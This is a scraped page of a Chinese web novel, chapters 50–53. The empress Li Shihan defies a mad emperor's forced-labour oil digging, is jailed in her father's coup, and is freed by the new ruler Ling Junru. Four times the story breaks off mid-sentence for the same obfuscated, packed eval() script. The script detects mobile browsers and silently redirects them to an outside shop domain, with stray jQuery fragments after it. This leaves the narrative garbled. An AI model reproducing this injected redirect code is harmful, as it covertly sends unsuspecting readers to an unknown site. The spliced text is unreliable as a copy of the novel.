0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823345|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> “我知我已犯下大错,曲娘死不足惜,听凭娘娘发落,凌迟也好分尸也罢。但曲娘孩子性命危在旦夕,只求娘娘救救我儿!” 她跪伏在地,对礼诗涵行了五体投地大礼。 曲娘一动身上就又星星点点地沁出血来,礼诗涵看着触目惊心。 她谨慎道:“你儿是谁?也受伤了吗?我其实不懂医术,不过我可以帮你请大夫。” “我儿贱名,不必污了娘娘尊耳。”曲娘眼底情绪复杂无比,猜忌恨意交织,再抬眼时却只剩楚楚可怜,她柔情一笑道,“您只当我是一个走投无路的母亲。” “娘娘可知陛下打着您的名号,做了什么好事么?” . 你相信土地中埋有财宝吗? 只要能发现那样东西,整个世界都会变得不一样! 有了取之无尽、用之不竭的能源,何愁国力不盛?何愁国家不宁? 明明应该有的,怎么就是找不到呢? 礼诗涵无论在哪里都会闪闪发光,而他明明只是循着前人的路走,怎么就找不到呢? 一定是手底下人并未用心。 一定是人力不足! 这些愚钝的贱民,苦苦厮守着一亩三分地,勉强苟活的样子真让人看不起。不如全都投入到陛下的大计中。 在找到石油之前,没人能回家! 曲娘瞧见年轻皇后的身躯摇晃了下,忽而抬手按住了太阳穴,面色苍白。 礼诗涵慢慢地道:“陛下真的这么做了?” “曲娘绝不敢撒谎。”曲娘落下泪来,泪水洇湿了她脸上的纱布,她哽咽道,“曲娘曾是官家女子,身上之伤,却是服苦役时所落下。连曲娘都落得这般对待,九死一生假死逃回,更何况其他人呢?” “如此过分的法律,上上下下竟无一人反对吗?” “哈哈哈哈哈。”曲娘却是忍不住笑了起来,半是嘲讽半是怜悯,如银铃骤响,如怨鬼痴泣。她终于意识到这皇后比她想的还要无知单纯。 无知好啊,单纯更好啊,她也希望画儿诚儿能一直这么无知下去。 她娇笑道:“娘娘啊,那些大人物们都是一丘之貉。有些人明面上是去寻宝藏,而实际上被带到哪里谁也不知道。反正曲娘在被送往矿井之前,可是被躺过许多人的床榻。” “臣子、士兵、侍卫.......不管对我做什么,曲娘都忍了,我想要的只有活下来。" “可我的孩子不能也受这样的苦啊。” 她粗糙的指尖轻轻抚过礼诗涵的脸颊,身上散发出腐败的血的臭味,原本这般女子身上应该是淡淡的熏香气味。 礼诗涵再也不能忍受下去了。 她应该杀掉疯皇帝,应该在他第一次杀人的时候就杀,都是因为她的胆怯愚笨和懦弱,才害得无数人因此而苦! 椅子砰地倒在地上激起一阵尘灰,曲娘死死地抱住了礼诗涵的腰,道:“你去哪儿啊,娘娘?” “去杀了疯皇帝!” “娘娘,你把事情想得太简单了。”曲娘道,“杀了疯皇帝,这皇位是要谁来坐呢?不就是手握兵权的上官家么?我看陛下眼中全是娘娘,而上官丞相却未必把娘娘当女儿看。若是他拿到所有权利,那就真的没办法了。” “陛下根本不听我的。”礼诗涵又痛苦又无奈,道,“为什么事情会变成这样呢?” 曲娘抱着少女纤细的腰肢,嗅着她身上的甜香,自己也快要落下泪来。她道: “我来教您吧。” “像我这样的人是如何绞尽脑汁地活。” 50. 第50章 疯皇帝(六) 听完曲娘所言,礼诗涵仿佛被雷劈了,难以置信道:“你要我生个孩子???” “对。”曲娘的话音却是很冷酷,道,“疯皇帝不能留,他的血脉却很重要,只好委屈娘娘生一个新的,最好生几个新的。以娘娘性情教养出来,会是个好皇帝。” “不行不行不行。绝对不行!” 礼诗涵慌忙否定,眼神中充满了惊恐,道:“我还没有多大,甚至都没到法定婚龄,怎么能生孩子呢?而且面对这样的人,我为什么还要委身于他?总之,我会另想别的办法,这种事还是莫要再提了!” 她甩开曲娘,转身欲走。 打开外间的门却发现这里挤满了人,不论男女老少,每个人都是伤痕累累、疲乏不堪,眼中充满了血丝。 那种腐臭味变得更重了。 简直就是地狱般的景象,礼诗涵忍不住倒退了几步,道:“这,这是.......” “都是如同曲娘一般的人。”曲娘在她身后叹道,“捡回一条命罢了。” “我不会阻拦娘娘走,因为我很清楚只有娘娘在,我们才有机会活下去。但也请娘娘记住,您的一言一行关乎无数人的性命呢。” 曲娘递过一只帷帽和一身干净朴素的衣物,道:“娘娘这般太显眼了,换上这个吧。” . 礼诗涵走出破旧的木屋,按着曲娘的说法走过嶙峋陡峭的山路,扑面而来的还是热闹无比的利阳城。 她忽然有了一种不真实感。 曲娘说的是真的吗? 明明城中的百姓还是如此的安居乐业,街上店铺热闹而红火。 真的有人因为荒谬的法度而沦为奴隶吗? 利阳城中唯一的不和谐就是官兵在到处寻人,那是因为礼诗涵的莫名失踪。只要礼诗涵摘下帷帽,亮明身份,自然有人将礼诗涵迎入宫中。 然后礼诗涵得说服疯皇帝,废除新田法。 .......真的有办法吗? 礼诗涵重新被软禁在泽海宫里还差不多。 要么等待虚无缥缈的回家的希望,要么在里面混吃等死,或许疯皇帝还真的会让她生个孩子。 要接受那样的结局吗? . 曲娘做出放回皇后的决定,其他人都是反对的。 燕衔杯分身乏术,世界上再也没有第二个能神不知鬼不觉出入宫闱掳走皇后的人。 以皇后为质,明显更加有利。 夫妻本是同林鸟,谁知道礼诗涵走后会不会供出他们? 众人身上都有累累伤痕,没办法起来械斗,只能打嘴仗,屋内吵得如沸腾的岩浆。 但曲娘在这里是老大自然有老大的道理。 她丈夫是太史官,她的词汇最丰富,没人吵得过她。 咚咚。 轻轻的敲门声。 正疯狂骂战的众人都为之一静。 这帮人大多都腿脚不便,只能眼睁睁地瞧见一根铁片插进门缝,轻轻松松挑开了门栓。 礼诗涵贴心地自己开了门,她开门见山道:“疯皇帝把你们弄到什么地方去服苦役?” “我要用我的眼睛,亲自去看。” 曲娘瞳孔骤然缩小,一眨不眨地盯着礼诗涵,忽而道:“娘娘可还记得平县?” . 平县。 又是一番炼狱般的景象。 平县四面环山,像是在一个碗的底部。而这个碗的底部被人挖穿了几百米深。 如果只用双手,一个人,一个铲子,一天只够给自己挖出个坟的。现在如此这般规模,其中让多少人白白流了多少汗水,简直难以言说。 副将裴伍靴子上溅着无数泥泞,冲进军账,眼眶通红,咬牙道:“人力怎么能够移山填海的?陛下到底要找什么玩意,他要去九泉之下怎么不自杀!要我说,不如反.......” 回应他的是同为副将的令六的冲脸直拳,把裴伍打得旋转了三周半。 令六呵呵冷笑道:“慎言啊,兄弟。皇帝没九族,你也没九族,我还有啊。连太尉出言相劝都被罚了一百军棍,你也想尝尝么?我愿意免费打你。” 裴伍不吭声了,看向令君如。 令君如坐在榻上,没穿上衣,只披了件外套,手里拿着一纸信笺,浓重的草药味浸满了军账。 两个副将争执,他眉头紧缩,只道:“我自有决断。你们不必再提。” “皇后娘娘还没找到吗?”令六问。 那刺客的身份从未遮掩过——大秉头号通缉犯燕衔杯。 他很有名,大秉完全是个巨大的斗兽场,大秉人想要活得有名是很难的。要么得有活,要么得有狠活。这人是有狠活的典范。 但他好端端地管别国的事干什么?没瞧见这里最重要和最不重要的人都是皇后么? 有皇后在,皇帝言行已经很离奇了;没皇后在,他现在更是已经离人很远了。 今日早朝,上官丞相上书言明皇后被掳,恐清白有损,向疯皇帝举荐上官家另一女儿作皇后。 但疯皇帝他根本不相信是皇后被掳走了啊。礼诗涵就没把他放在眼里过,疯皇帝认为一定又是皇后自己跑了! 这只是礼诗涵为了和离的手段,只要他做出点功绩,就算是礼诗涵也一定会回心转意认同他的,于是愈发疯魔。 令人担心的事加在一起,根本数不过来。 令君如道:“燕衔杯嫉恶如仇,但刚愎自用,听不进人话。皇后性子单纯,若惹怒了他,恐性命堪忧。这事不能再拖了,疯皇帝只会打草惊蛇,我亲自去寻皇后。” 军账外忽地兴起一阵喧哗声。 “终于受不了了么?”令君如喝了口茶,道,“裴伍,去瞧瞧,适当添把火。” 裴伍听令,冲出帐外,却迟迟未有回音。 喧哗声愈大,令君如忽有所感,不顾令六阻拦起身,背上伤痕裂开再次出血,他却毫无所觉。 在已经变成巨大陷坑工地的平县,一半的人在受苦。另一半的人在监督别人受苦,一部分人自己心灵也饱受折磨,一部分人却是在心底暗暗得意。 一身朴素麻衣的皇后娘娘立在八月炽热的阳光中,眉眼艳如鬼魅,额上蒙着一层薄薄的汗珠。 她手里拿着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826268|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 个圆筒样的物品,声音被放大了几倍: “我是当朝皇后上官梨!” “士兵们全都给我放下武器,让百姓们归乡!” “所有责任由我一人承担!” 令君如冲出帐外,皇后有种让人忍不住驻足望去的魅力。他愣了三秒后才意识到他做错了,大错特错—— 礼诗涵已经在乱军中看见了他,面上迅速浮上一层难以置信之色。 她顿了一下,内心似有挣扎,最后被厌恶取代。 你居然也在助纣为虐,我真是又看错人了! 莫非是她真的眼瞎??? 礼诗涵百思不得其解,大步转去了另外的方向,对着仍在鞭挞一个只有八九岁孩子的官吏喊道:“皇后娘娘命令你,你没听见吗?!” “我艹我耳朵!什么皇后?你说是就是?” 疯皇帝提拔了一堆只听命于他的人。 恶毒的人就会吸引恶毒的人来投,那官吏就是从疯皇帝的直属监察机构“听天”派来的。 他一鞭抽过去,眼见鞭风就要刮到礼诗涵娇嫩的面容。 曲娘真恨自己受伤的是腿! 好腿陷在坑里拔不出来,礼诗涵这般奶牛猫行径,她阻止不了,已经是眼前一黑,见到皇后娘娘要被人伤到,又是眼前一黑,只记得尖叫:“娘娘啊!” 啪!礼诗涵眼疾手快地握住鞭子,鞭上的倒刺让她倒吸一口凉气,在心中嗷嗷大叫。 如果礼诗涵不来,有多少人在挨这种鞭子? 礼诗涵从看傻了的官吏手中劈手夺过鞭子,抬手把人抽得屁股开花:“我让你打人,打人是不对的!哎那边那个小弟弟,他打了你几下?我帮你打回来!” 那个孩童愣了一下,立刻扒拉身上的衣物,指着伤痕道:“三十多鞭!” “你放屁!”那官吏被抽得不断跳脚,破口大骂道,“最多二十下!” 回应他的是礼诗涵又抽到他屁股上的鞭子。众人苦于听天久矣,立刻拍手叫好。 真是一出闹剧,皇后娘娘到处就不可能有清净之日。 令君如瞧着那个官吏被抽得屁股开花,露出一丝微笑。数到三十,礼诗涵气喘吁吁地停下,他才出面,单膝在礼诗涵面前跪下,低头道:“皇后娘娘。” 巨大的坑洞,被不断搬出的砂石土块,惶惶不得终日的无辜百姓,精神饱受折磨的普通士卒,和张狂的“听天”们。 构成的画卷可比地狱还要地狱。 礼诗涵居高临下地瞧着他,睫毛打下浓重的阴影,道:“你就没什么好跟我说的吗?” “大错已铸下。”令君如平静道,“君如不敢不认。在我手下死者何止成百上千,我早知我会死无葬身之地。” 血腥味。 她微微蹙眉,鞭子挑起令君如的外套,白绸滑落,触目惊心的血痕刺痛了她的眼睛。 “你.......” 礼诗涵不知道说什么好。如果面前的也是个纯粹的坏人就好了。她把鞭子扔还给令君如,道:“算了!再抽你也死了怎么办?” “去告诉疯皇帝,我要见他。” 51. 第51章 疯皇帝(七) 百姓们得了皇后背书,千恩万谢地赶快回家去了。 曲娘也寻到自己的儿子。 墨诚已经是奄奄一息,她赶快托人送去瞧大夫,自己留在这里。 实在不放心啊,皇后完全是一只奶牛猫,会对任何看不惯的东西大叫。 这样的皇后怎么应付得过来皇帝呢? 得到消息,疯皇帝愈发笃定了自己的想法,策马在官道上狂奔。上官丞相等一干人等在身后狂追。 这般折腾,到达平县的时候夜色已经深重。士兵们点了火把,但只能够照明小小的一圈范围。 和现代灯火通明的夜晚自然是天壤之别。 “皇后。” 疯皇帝小心翼翼地叫她。 礼诗涵站在巨大坑洞的边缘,低头看里面似有若无的灯火。原本在疯皇帝的命令之下,奴隶们会彻夜劳作。 曲娘谨慎小心地把自己藏身在阴影中,支棱起耳朵。 她耳提面命,把对付男人的招数掰开了揉碎了全都给礼诗涵讲了一通,就不知道这位皇后娘娘听进去多少,心下十分忐忑。 礼诗涵不说话,疯皇帝自然觉得礼诗涵又是在怪他了。 他笑道:“你觉得我太劳民伤财吗?皇后,你觉得如果能重现工业革命的奇迹,还怕少活这么几条人命么?” 这位疯皇帝其实十分的好搞定。只要皇后愿意软下态度,撒撒娇。 “你太过分了,陛下。” 礼诗涵认真道:“科学其实在冥冥中也有天意,急功近利的人是没办法做出结果的。” 曲娘绝望地双手捂脸,知道自己是白教了。礼诗涵真是一只奶牛倔驴猫!!! 疯皇帝又出现了那种感觉,那种在礼诗涵面前一文不值的感觉。 疯皇帝额角青筋迸起,道:“皇后,你眼中还有我吗?你凭什么就这么否定我???” 礼诗涵道:“我明明教给了许多工匠炸药的做法和入门化学,为什么不用呢?我虽然讨厌你,但如果能少害死一些人,我也不会藏私啊!” 疯皇帝道:“我不需要你!” 礼诗涵道:“这又不是我发明的。这是前人的经验,我不过是转告诉了这里的人!” 疯皇帝提高声音,道:“算了,和你没办法说得通,回宫去!” 礼诗涵也提高声音,道:“我都说了要和你和离了!你犯下多少大错,我不能装作看不见,我要想办法弥补啊。你知道被你害死的人有多少吗?你还不知道迷途知返吗?!” “不过是一帮贱民!” “我们也只是普通人而已啊!” “啊,你是吗?尊贵无比的皇后娘娘不是自诩不世出的天才吗?” 礼诗涵又失望,又痛苦,道:“如果不是你死了会更麻烦,我一定杀了你!如果我的竹马王宇航死在了穿越的时候,我一定更加怀念他,爱他,喜欢他!” 这话彻底点爆了疯皇帝的怒火,他最恨的就是跟在礼诗涵身后的时候。 他道:“你现在再也没办法忤逆我了——你们几个,去把皇后抓回去!” 被指着的几个人:气喘吁吁的上官丞相、一直旁观的令君如和他的亲兵、装作肌无力倒在地上的曲娘,几人面面相觑。 礼诗涵终于从他的言语中品出了一丝古怪。 她带着点怜悯、带着点不敢置信道:“你难不成是在嫉妒我吗?” 礼诗涵根本没学会梳发髻,披头散发,黑发如鬼魅般缠在身上,别有一番风味。曲娘还以为这是皇后的某种小巧思,也不敢问。 此时微凉的夜风把她的长发轻轻吹起,露出她睁大的双眼: “不会吧?” “我们是青梅竹马呀........本来该是一家人的.......你中有我,我中有你,我们生来就该是一家人啊!你为什么做出这么恶心的事情?” 被憧憬的人当众戳破是一件绝对不好受的事情。 只觉一腔热血直冲脑门,眼中只剩下礼诗涵难以置信的面容。 疯皇帝一把抓住礼诗涵的手腕,面容狰狞可怖,道:“跟我回去!既然上天要让你我成为帝后,你就得永远听我的!” “我不要!” 比气力,礼诗涵不输任何一个男子,手臂青筋暴起,二人僵持着一动也不动。 她是绝对不会被强制爱的女子。 但是这样下去,百姓依然会不断地流血。 因为礼诗涵太倒霉,没能穿成那个帝王! 礼诗涵急中生智,喊道:“你永远不会成功的,这个世界上没有石油!” “什么?” 疯皇帝的声音像是被冻结了。 这是礼诗涵人生中第一次撒谎。她紧张地看向疯皇帝。 疯皇帝完全相信了。 毕竟这样的天才,怎么会屑于骗人呢?怎么会屑于骗他呢?礼诗涵口中的绝对是正确的,他已经从过往的十八年里切身体会过了。 他的灵魂中早被根植了坚信礼诗涵的本能。 礼诗涵同样在大喘气。 骗人对她来说太难了。但是只要迈出第一步,接下来就简单地多了。 “我有骗过你吗?”礼诗涵抬眼瞧着他,道,“你有发现任何关于石油的记载吗?没有吧。这个世界的地质很脆弱,没办法拥有形成石油的环境。” 礼诗涵甩脱疯皇帝的桎梏,道:“别发疯了。把被你抓来做苦役的百姓们都放了吧。你所做的一切,不过是无用功而已。” . 疯皇帝一回宫就把自己关在书房里,老实了没几天,又带人出了宫,不知道又在发什么疯。 礼诗涵没空管他死活。新田法已废,朝堂上吵成一团,她现在也很忙。 因为苦役而受重伤的人有许多。死的人太多,瘟疫在整个大阜横行,又因此而死了许多人。 礼诗涵愧疚不已,每日画图纸打铁做假肢施粥忙得团团转,抽空还叫人在全国广布告示,用的是英文。 奇怪的是,一月过去,竟无一个穿越者来找她。 礼诗涵翻来覆去地看那本换皮《红楼梦》的话本,百思不得其解。 能默下整本的人怎么想都是华国人,难不成第二外语不是英文,是日语俄语这样的小语种? 礼诗涵很快又没空想这件事了,因为消息传来,疯皇帝又在他处大兴土木,广征徭役,要建立一所能流传千年的宫殿。 流民逃回利阳,跪在宫门外求皇后娘娘救命。 礼诗涵二话没说,拿上炸药,骑上黛兔就出发了。 当日去,当日回,火烧三十里。 容轻虽然聪明,但每到秋冬常常会染上咳疾,而容华的马术比容轻好太多,能跟上身骑烈马的皇后娘娘。 在大阜这样气候相对温和的地方,秋风也让人心凉。礼诗涵脸上染上了漆黑的尘灰,那是烧疯皇帝的宫殿时不小心蹭上的。 许久不见,疯皇帝已经完全瞧不出王宇航的任何一丝样子了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828980|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。他只是静静的看着礼诗涵,脸上露出古怪的笑意。 礼诗涵全程没跟他说一句话,沉默地狠揍了他一顿。也不想在乎他到底是怎么想的了。 容华用手帕轻轻擦着礼诗涵身上的尘污,她染血的指节,心疼道:“娘娘.......” “什么时候才能是结束呢?”礼诗涵仰头,泪水在眼眶里打转,哽咽道,“我想家呀。” 容华没有容轻聪明,想不出该怎么办。 她只能把无声流泪的礼诗涵抱在怀中,心疼道:“娘娘有家可回。我是娘娘的家人呀。” “虽然我的家里人把我送来大阜,但那是吃了实实在在的败仗没办法。我的父母年年与我通信,想方设法寄些金银给我,念叨些陈谷子烂芝麻的小事。我喜欢娘娘,我家里人肯定也会很欢迎娘娘。” “什么时候娘娘不想管这里的事了,我们就回大秉,叫你去我家看看。和容轻、太妃娘娘一起。” 礼诗涵闭上了眼睛:“嗯。” . 新元二年春,礼诗涵莫名有了孩子。 不是她自己生的。不是她的。 不知道是谁的! 事发时礼诗涵正坐在铁匠铺子里,正狂画图纸交予容华容轻,容华再交予下边几十个学徒疯狂传抄。 她正发愁这破地方找不着橡胶,就听到外面爆发出一阵狂欢。 “皇后娘娘诞下贵子!这孩子被封为太子,我们大阜有救了!” 铺子中男女老少的学生们齐刷刷抬头,七八十道目光一起瞧向礼诗涵从未鼓起过的腹部。 礼诗涵摸摸自己平坦纤细的腰肢,腹肌马甲线都在。她伸出一只手指指向自己:“我吗?” 孩子总不能是石头缝里蹦出来的吧? . 疯皇帝搞出了一个孩子,还顶着她的名头,是想做什么?! 疯皇帝一直在等礼诗涵跟他道歉,而礼诗涵忙起来几日不回宫,两人算下来很久没见面了。 此时这两位已经离心的青梅竹马难得在泽海宫聚首,宫中传来婴儿的哇哇啼哭声。 礼诗涵简直莫名其妙,直白地质问道:“孩子哪来的?!你欺负了谁家女子???” 疯皇帝的脸色难以形容,二人连洞房都没有过,却忽然传来青梅产子的消息。是个男人都不能忍这种背叛。 于是他也劈头盖脸道:“奸夫是谁?!我要杀了他!不,我要把他凌迟处死!” “???” 两人互瞪,互相都觉得对方简直是个疯子。礼诗涵一手扶额,摇头道:“算了,我不想和你说话。” 又是一年春来,桂花香飘满宫。礼诗涵大步迈过门槛,急着去看这孩子到底哪来的。 生孩子就是过鬼门关,哪怕礼诗涵身体再好也得元气大伤。 疯皇帝只是被气疯了,又不是傻子,意识到不对,本能地叫住礼诗涵,道:“皇后——” 砰! 泽海宫的大门被人用力关上。 礼诗涵猛然回过头,她听见粗重锁链相互摩擦的声音,死死地锁住了整个宫门,不让她逃跑。 上百个刀斧手从泽海宫中的各个角落窜出,兵器寒光闪闪。 上官丞相腆着那张老脸从香气扑鼻的泽海宫中踱出,抱着一个哇哇大哭的皱巴巴婴孩。 他眼中露出恶毒的笑容,道:“上官梨,不来和你的表亲弟弟打声招呼么?” “从今天开始,他可是要叫你母亲。” 52. 第52章 疯皇帝(八) “皇帝贺余,在位期间劳民伤财,滥用刑罚,屠戮残害百姓以致天怒人怨,退位让贤。” “皇后上官梨,生下太子后身体虚弱,藏于深宫疗养,不便见人。青灯古佛,了却此生。” 隔着一层木制的监牢,礼诗涵盘膝坐在一层干燥的稻草上,冷冷地瞧着得意洋洋的上官丞相。 上官丞相念完,笑道:“这就是你将来在史书上的样子。” “疯皇帝没发疯吗?”礼诗涵道,“你做的是江山易主的事情。他这种人应该不能忍受吧?我也很奇怪,拥护疯皇帝的疯子居然还能有不少。” 上官丞相笑道:“女儿啊。你对权利的认识太浅薄了!” “有的时候动摇只需要一个借口。更何况,”上官丞相凑近了,细细品味这个女儿脸上的不甘,他大笑道,“我手上的根本不是借口。而是你们的催命符啊!” . “鸩鬼乱世?” 告示栏前人群熙攘,曲娘背着一大袋干粮,坏掉的腿换成了皇后娘娘做出的假肢。 陌生的词语吸引了她的注意力,曲娘稍稍拨开遮脸的斗篷,仔仔细细瞧那告示: “当今天下,鸩鬼乱世。” “性情大变者,口出惊人之语者,记忆混乱者,有怪异行径者,死而复生者......." "盖因身躯死而鸩鬼生,为祸世间也。” “鸩鬼者,穿人躯壳占人身体,实在可恨,如若见之,应当格杀勿论!” 曲娘喃喃出最后几个字,用力抱紧了手中的布袋。眼角余光瞥到人群中煞白的面容,是一高一矮两个女人死死握着彼此。 矮的那个轻声道:“娘娘有麻烦了。” “不......是整个大阜都有麻烦了。怀疑的种子已经种下,没人能承担起这种后果。” 待容轻说完,容华忧愁道:“娘娘一去不回,一定出了什么事。.” 容轻快而急地道:“我们得想办法去帮她。” . 朝堂之上,仿佛沸腾的滚油。 疯皇帝经常能体会到事不由己的滋味。但现在这般如同手下电车脱轨的滋味,也是少见。 臣子们,哪怕是他一手提拔上来的臣子们,也在用怀疑的目光瞧着他。 不就是穿越者吗? 这龙椅上的人谁坐不都一样吗? 他这般人物,还会输给一个蒙昧的、愚钝的、懦弱的十九皇子吗? “闭嘴!”疯皇帝怒吼,“胆敢妄议的人,都给我拖出去斩了!” “你。”疯皇帝指着其中一个臣子,道,“你在朝堂上大谈如此神鬼之事,给我拖出把他的舌头拔了!” “陛下???陛下,虽是民间传闻,若是成了气候,恐大阜有危啊,陛下!” 唰,血溅三尺。 没了舌头的人蜷在地上痛苦地呻吟。等血流干了,也就没气了。 这才对。 疯皇帝终于重新体会到了久违的掌控感。他放声大笑起来,道:“拖下去,游行街市,我看还有谁敢宣扬这种没有根据的传闻!” 兔死狐悲,众臣皆是面露不忍之色。令君如轻轻地闭了闭眼。 朝毕,上官丞相凑到他身旁,笑得宛如一只老狐狸,他嘴皮微动,道:“君如,皇帝已经自取灭亡。未来就在此刻!” “只等再激起民愤,我们便可顺理成章取而代之!” 所有情绪都被隐藏在了令君如深邃的眉眼中,他道:“我知。我会让人继续张贴告示,散布谣言。皇后在何处?不能让她在此刻再闯祸。” “早被我关进牢里去了。”上官丞相长叹一声,道,“难办啊,只有她是我的血脉。至少得想办法让她留下个种再死。” “不如把她多关一段时日。”令君如抬眼,道,“以皇后性子耐不住寂寞,一定会服软的。” . 礼诗涵对外间发生的事一概不知。 她枯坐在天牢中,披头散发——此人由于战绩可查,身上的所有东西都被提前搜走了。 这里阴冷又潮湿,几乎能听到自己心跳的声音。礼诗涵哪里见过这种环境,鸡皮疙瘩不要钱地往外冒。 忽然感觉脚踝一痛,礼诗涵低头一看,居然是个足有手掌长的节肢昆虫,正啃咬着她的皮肤。 礼诗涵和那东西的两个大眼睛对视。 光线昏暗,她没认出那是什么,反正也不耽误她立刻魂飞魄散。 容华提着一个沉重的大提篮,忽而听得一阵尖叫声,烛火摇曳,她立刻加快了脚步。 天不怕地不怕的皇后娘娘脸色煞白,抱着栏杆,也不管容华为啥会出现在这里,指着地面,哆哆嗦嗦道:“有虫子.......很大!” 礼诗涵爬到了牢房的顶部,容华得抬头才能看到礼诗涵的脸。低头瞧见地上好像是有东西,但像是被人踩踏了一千次,已经看不出原本的形状了。 “皇后娘娘!”容华哭笑不得,又好气又好笑,道,“不管是什么都死了——快下来,我在这里呆不得许久!” 礼诗涵仍然觉得魂飞魄散,比面对一千把兵器更加惊悚。她顺着木质栏杆滑下来,道:“容华,你怎么来了?” “有贵人相助。”容华赶快把篮子中的东西一件件塞进牢房中,道,“明日这个时候,我还会来。这是吃的和用的,委屈娘娘在牢房中呆一些时日.......” 礼诗涵没接,从容华头上拔了两根簪子,三下五除二把锁开了。容华一句话还没说完,礼诗涵已经推开门走出来了。 “我为什么要被委屈?”礼诗涵和容华对视,莫名其妙道。 容华无语哽咽,把礼诗涵重新推进牢房,道:“我求娘娘了,在里面避避风头吧。我不会害您的。您也相信我,好吗?” . 礼诗涵不懂这些弯弯绕绕,但和她一起饮食起居的好姐妹说的话,她还是听的。 之后的发展确如上官丞相所言,疯皇帝由于所作所为太过残暴,“自愿退位”,而后下落不明。 而上官丞相拥立新生的太子为新皇,权倾朝野。 上官丞相穿着一身金光粼粼的锦袍,得意洋洋地出现在阴冷的天牢中,头上戴着象征着至高权利的冕旒。 “知道错了么?” “你该庆幸我只有这一个血脉。如果你不是我的女儿,现在也与那愚蠢至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832218|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 极的皇帝一样,死无葬身之地!” 礼诗涵背对着他盘膝坐在天牢中央,长发披散,凌乱缠在身上,风流袅娜如同鬼魅。 礼诗涵没看上官丞相的老脸一眼,道:“滚。” “你这样的人就活该断子绝孙。”礼诗涵骂道,“谁是你女儿?你也知道你女儿早死了!如果上官梨还活着,她也不会答应你的过分要求!” 上官丞相勃然变色,拂袖道:“那你就在这里被关一辈子吧!” . 礼诗涵松了口气,继续低头吃容华送来的包子。 她动一下就被发现了,还好她吃的是个素馅包子,不是很香。 吃完了,她把门锁撬开,伸了个懒腰,然后做了一套广播体操。活动活动筋骨之后,她大步越过阴暗的牢房,晃醒在地上打瞌睡的狱卒,认真道:“上课时间到了!今天讲热力学,把全部人都叫来!” 用应用化学把所有狱卒都折磨得面如死灰,礼诗涵布置完作业,施施然回去,又把锁子锁上了。 她是个十分好为人师的人,做这些完全在她掌控中的事,她能感到短暂的平静。 至少这些知识一定能帮的上忙。 她的穿越不是毫无用处的。 又是一天过去,礼诗涵躺在吊床上,抱着自己的膝盖,把自己蜷成一团,缓缓地闭上了眼睛。 . 冕旒碰撞之声。 上官丞相怎么又来了?! 礼诗涵翻了个身,懒得睁开眼睛。牢房门吱吱呀呀打开了,有个人影逆着光朝着礼诗涵走来。迟疑片刻,指尖轻轻地拨开礼诗涵睡乱的长发。 啪! 礼诗涵抬手抓住那人手腕,手下骨骼是男性特有的硬朗,皮肤光滑而微凉。 令君如朝她微微笑着,象征权利的冕旒温柔地垂下,在他深邃的眉眼打下浓重的阴影。他道:“皇后。” “让您受委屈了。” 他轻轻地把手覆在礼诗涵青筋暴起的手背,柔声道:“从此之后,你可以做任何你想做的事。” 那婴儿继位不到一月后莫名夭折,上官丞相在长吁短叹后在群臣的簇拥下登上皇位。 而又一月后,吃不饱饭、穿不暖衣的百姓们揭竿而起,令君如惯会收拢人心,顺民意起兵,又推翻上官丞相。 不到两月时间江山两度易主。上官丞相死于乱兵之下,上官家嫡系被愤怒无比的士兵尽数诛杀泄愤。 除了一个人。 在上官家谋逆之前就被关进天牢里的前皇后,上官梨! 上官皇后素有贤名。 她做过的好事不会有人忘记,那怎么处理这位前皇后就成了个难题。 新君对此的做法很简单。 “以我的私心,我想让你也做我的皇后。”令君如瞧着礼诗涵警惕的眼睛,略微感到一丝心疼,他道,“但劣迹在前,我认为你不会愿意。” “所以我会把您放在最合适的地方。” “比如说,新设一个机构,专门进行奇技研发。一概权利全都属于你,我不会让人插手。” “大阜需要你。” “你愿意和我一起改变世界吗?” 53. 第53章 史书说(一) 令君如提出的条件如此之好,反而让礼诗涵有些无所适从。 “那你要什么?”礼诗涵现在有点杯弓蛇影,反问道,“我不帮你做坏事,生孩子也不要想。” “我想要你就如平时一般。”令君如哑然失笑。 “真的?” “如果您能永远健康快乐,那就再好不过了。”令君如柔和但不容置疑地把礼诗涵拽起来,道,“这里阴冷,久待对身体不利,有什么话也要到外面再说。” 终于轮到礼诗涵难受了。 大概人就是这样的贱骨头,疯皇帝疯成那样,她悲痛不已,但也接受了。碰上一个别无所图的,反倒不习惯了。 